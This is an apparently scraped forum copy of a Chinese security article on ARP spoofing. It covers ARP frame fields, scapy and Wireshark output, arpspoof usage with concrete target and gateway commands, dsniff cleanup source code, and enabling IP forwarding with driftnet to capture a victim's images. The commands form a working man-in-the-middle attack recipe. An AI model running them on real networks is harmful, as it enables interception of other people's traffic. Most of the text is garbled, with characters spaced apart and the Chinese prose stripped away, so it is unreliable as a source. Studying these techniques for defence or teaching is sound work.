[14520] 2019-08-28_ARP欺骗常见姿势及多机ARP欺骗

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2019-08-28_ARP欺骗常见姿势及多机ARP欺骗 A R P 姿 A R P E R F Z E   F r e e B u f   2 0 1 9 - 0 8 - 2 8 0 x 0 0   A R P 使 使 a r p s p o o f ( 使 使 P y t h o n ) A R P 姿 姿 A R P 0 x 0 1   A R P D S T S R C O p ( M A C ) ( I P v 4 ) ( M A C ) ( I P v 4 ) ( ) F C S 6 6 2 2 2 1 1 2 6 4 6 4 1 8 4 D S T S R C D S T ( 6 ) : A R P D S T f f : f f : f f : f f : f f : f f ( 6 1 ) S R C ( 6 ) : ( 2 ) : A R P 0 x 0 8 0 6 O p ( M A C ) ( I P v 4 ) ( M A C ) ( I P v 4 ) A R P I P v 4 M A C ( 4 B y t e ) : I P v 4 4 1 0 x 0 8 0 0 6 4 O p : A R P ( 1 ) A R P ( 2 ) R A R P ( 3 ) R A R P ( 4 ) ( M A C ) ( I P v 4 ) ( M A C ) ( I P v 4 ) : 4 A R P 0 P y t h o n 3 A R P > > >   f r o m   s c a p y . a l l   i m p o r t   * > > >   l s ( A R P ) h w t y p e           :   X S h o r t F i e l d                                                   =   ( 1 ) p t y p e             :   X S h o r t E n u m F i e l d                                           =   ( 2 0 4 8 ) h w l e n             :   F i e l d L e n F i e l d                                               =   ( N o n e ) p l e n               :   F i e l d L e n F i e l d                                               =   ( N o n e ) o p                   :   S h o r t E n u m F i e l d                                             =   ( 1 ) h w s r c             :   M u l t i p l e T y p e F i e l d                                       =   ( N o n e )
W i r e s h a r k a r p . o p c o d e = = 1 A R P a r p . o p c o d e = = 2 A R P 0 x 0 2   A R P 使 线 A R P P C 2 广 A R P I P 1 9 2 . 1 6 8 . 3 . 2 M A C P C 1 广 A R P P C 2 1 9 2 . 1 6 8 . 3 . 2 M A C a a : a a : a a : a a : a a : a a A R P 1   1 2 2 3 2 1 3 2 3 3 2 1   1 2 2 3 2 1 3 2 3 3 2 1   1 2 2 3 2 1 3 2 3 3 2 h w s r c             :   M u l t i p l e T y p e F i e l d                                       =   ( N o n e ) p s r c               :   M u l t i p l e T y p e F i e l d                                       =   ( N o n e ) h w d s t             :   M u l t i p l e T y p e F i e l d                                       =   ( N o n e ) p d s t               :   M u l t i p l e T y p e F i e l d                                       =   ( N o n e )
1   1 2 2 3 2 1 3 2 3 3 2 P C 1 广 A R P I P 1 9 2 . 1 6 8 . 3 . 1 M A C P C 3 广 A R P P C 1 1 9 2 . 1 6 8 . 3 . 1 M A C c c : c c : c c : c c : c c : c c P C 1 P C 2 P C 3 A R P A R P P C 1 广 A R P I P 1 9 2 . 1 6 8 . 3 . 1 M A C P C 3 P C 1 广 A R P P C 1 1 9 2 . 1 6 8 . 3 . 1 M A C c c : c c : c c : c c : c c : c c P C 1 P C 2 P C 3   P C 2 广 A R P I P 1 9 2 . 1 6 8 . 3 . 2 M A C P C 3 P C 2 广 A R P P C 1 1 9 2 . 1 6 8 . 3 . 2 M A C c c : c c : c c : c c : c c : c c P C 2 P C 1 P C 3 0 x 0 3   a r p s p o o f U b u n t u   1 6 . 0 4 d s n i f f ( a r p s p o o f d s n i f f ) a r p s p o o f i 使 i f c o n f i g c A R P t I P h o s t I P r 使 s u d o   a p t   i n s t a l l   d s n i f f U s a g e :   a r p s p o o f   [ - i   i n t e r f a c e ]   [ - c   o w n | h o s t | b o t h ]   [ - t   t a r g e t ]   [ - r ]   h o s t
3 . 1   使 使 a r p s p o o f 使 线 使 a r p s p o o f 怀 使 L i n k 线 线 M A C a t t a c k e r C 4 : X X : X X : X X : X X : D 9 B 8 : X X : X X : X X : X X : 5 9 F 0 : X X : X X : X X : X X : D 3 a t t a c k e r I P M A C I P 1 9 2 . 1 6 8 . 0 . 1 线 I P 1 9 2 . 1 6 8 . 0 . 1 1 0 r o o t A R P A R P a r p s p o o f   - i   w l o 1   - t   1 9 2 . 1 6 8 . 0 . 1 1 0   1 9 2 . 1 6 8 . 0 . 1
a t t a c k e r a t t a c k e r 1 9 2 . 1 6 8 . 0 . 1 1 0 1 9 2 . 1 6 8 . 0 . 1 a t t a c k e r 1 9 2 . 1 6 8 . 0 . 1 1 0 1 9 2 . 1 6 8 . 0 . 1 1 9 2 . 1 6 8 . 0 . 1 1 9 2 . 1 6 8 . 0 . 1 1 0 3 . 2   a r p s p o o f - c 退 使 M A C S R C A R P M A C   a r p s p o o f   - i   w l o 1   - t   1 9 2 . 1 6 8 . 0 . 1 1 0   - r   1 9 2 . 1 6 8 . 0 . 1 a r p s p o o f   - i   w l o 1   - c   o w n   - t   1 9 2 . 1 6 8 . 0 . 1 1 0   1 9 2 . 1 6 8 . 0 . 1 - c o w n
使 a r p s p o o f A R P S R C a t t a c k e r M A C A R P M A C a t t a c k e r M A C S R C a t t a c k e r M A C A R P M A C M A C a t t a c k e r M A C 退 使 M A C S R C A R P C l e a n i n g   u p   a n d   r e - a r p i n g   t a r g e t s . . . a r p s p o o f   - i   w l o 1   - c   h o s t   - t   1 9 2 . 1 6 8 . 0 . 1 1 0   1 9 2 . 1 6 8 . 0 . 1 - c h o s t
S R C A R P M A C M A C 5 1 0 5 1   - c o w n - c o w n h o s t - c b o t h o w n h o s t         i f   ( ! c l e a n u p _ s r c   | |   s t r c m p ( c l e a n u p _ s r c ,   " o w n " ) = = 0 )   {   / *   d e f a u l t !   * /         c l e a n u p _ s r c _ o w n   =   1 ;         c l e a n u p _ s r c _ h o s t   =   0 ;         }   e l s e   i f   ( s t r c m p ( c l e a n u p _ s r c ,   " h o s t " ) = = 0 )   {         c l e a n u p _ s r c _ o w n   =   0 ;         c l e a n u p _ s r c _ h o s t   =   1 ;         }   e l s e   i f   ( s t r c m p ( c l e a n u p _ s r c ,   " b o t h " ) = = 0 )   {         c l e a n u p _ s r c _ o w n   =   1 ;         c l e a n u p _ s r c _ h o s t   =   1 ;         }   e l s e   {         e r r x ( 1 ,   " I n v a l i d   p a r a m e t e r   t o   - c :   u s e   ' o w n '   ( d e f a u l t ) ,   ' h o s t '   o r   ' b o t h ' . " ) ;         u s a g e ( ) ;         } o w n o w n c l e a n u p _ s r c _ o w n   =   1 h o s t c l e a n u p _ s r c _ h o s t   =   1 b o t h         c l e a n u p ( i n t   s i g )         {                 i n t   f w   =   a r p _ f i n d ( s p o o f . i p ,   & s p o o f . m a c ) ;                 i n t   b w   =   p o i s o n _ r e v e r s e   & &   t a r g e t s [ 0 ] . i p   & &   a r p _ f i n d _ a l l ( ) ;                 i n t   i ;                 i n t   r o u n d s   =   ( c l e a n u p _ s r c _ o w n * 5   +   c l e a n u p _ s r c _ h o s t * 5 ) ;                 f p r i n t f ( s t d e r r ,   " C l e a n i n g   u p   a n d   r e - a r p i n g   t a r g e t s . . . n " ) ;
  5 0 x 0 4   姿 姿 4 . 1   F i r s t P I N G P I N G                 f o r   ( i   =   0 ;   i   <   r o u n d s ;   i + + )   {                         s t r u c t   h o s t   * t a r g e t   =   t a r g e t s ;                         w h i l e ( t a r g e t - > i p )   {                                 u i n t 8 _ t   * s r c _ h a   =   N U L L ;                                 i f   ( c l e a n u p _ s r c _ o w n   & &   ( i % 2   | |   ! c l e a n u p _ s r c _ h o s t ) )   {                                         s r c _ h a   =   m y _ h a ;                                 }                                 i f   ( f w )   {                                         a r p _ s e n d ( l ,   A R P O P _ R E P L Y ,                                                   ( u _ i n t 8 _ t   * ) & s p o o f . m a c ,   s p o o f . i p ,                                                   ( t a r g e t - > i p   ?   ( u _ i n t 8 _ t   * ) & t a r g e t - > m a c   :   b r d _ h a ) ,                                                   t a r g e t - > i p ,                                                   s r c _ h a ) ;                                         s l e e p ( 1 ) ;                                 }                                 i f   ( b w )   {                                         a r p _ s e n d ( l ,   A R P O P _ R E P L Y ,                                                   ( u _ i n t 8 _ t   * ) & t a r g e t - > m a c ,   t a r g e t - > i p ,                                                   ( u _ i n t 8 _ t   * ) & s p o o f . m a c ,                                                   s p o o f . i p ,                                                   s r c _ h a ) ;                                         s l e e p ( 1 ) ;                                 }                                 t a r g e t + + ;                         }                 }                 e x i t ( 0 ) ;         } c l e a n u p _ s r c _ o w n c l e a n u p _ s r c _ h o s t i n t   r o u n d s   =   ( c l e a n u p _ s r c _ o w n * 5   +   c l e a n u p _ s r c _ h o s t * 5 ) f o r
a t t a c k e r 0 1     4 . 2   d r i f t n e t 使 a r p s p o o f r o o t 使 使 i n t e r f a c e i n t e r f a c e e c h o   1   >   / p r o c / s y s / n e t / i p v 4 / i p _ f o r w a r d   a r p s p o o f   - i   w l o 1   - t   1 9 2 . 1 6 8 . 0 . 1 1 0   - r   1 9 2 . 1 6 8 . 0 . 1 d r i f t n e t d r i f t n e t   - i   w l o 1 - i a p t   i n s t a l l   d r i f t n e t
d r i f t n e t d r i f t n e t h e l p d r i f t n e t 7 H o m e 7 4 - a A d j u n c t   m o d e - m   n u m b e r A d j u n c t   m o d e - d   d i r e c t o r y 3
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则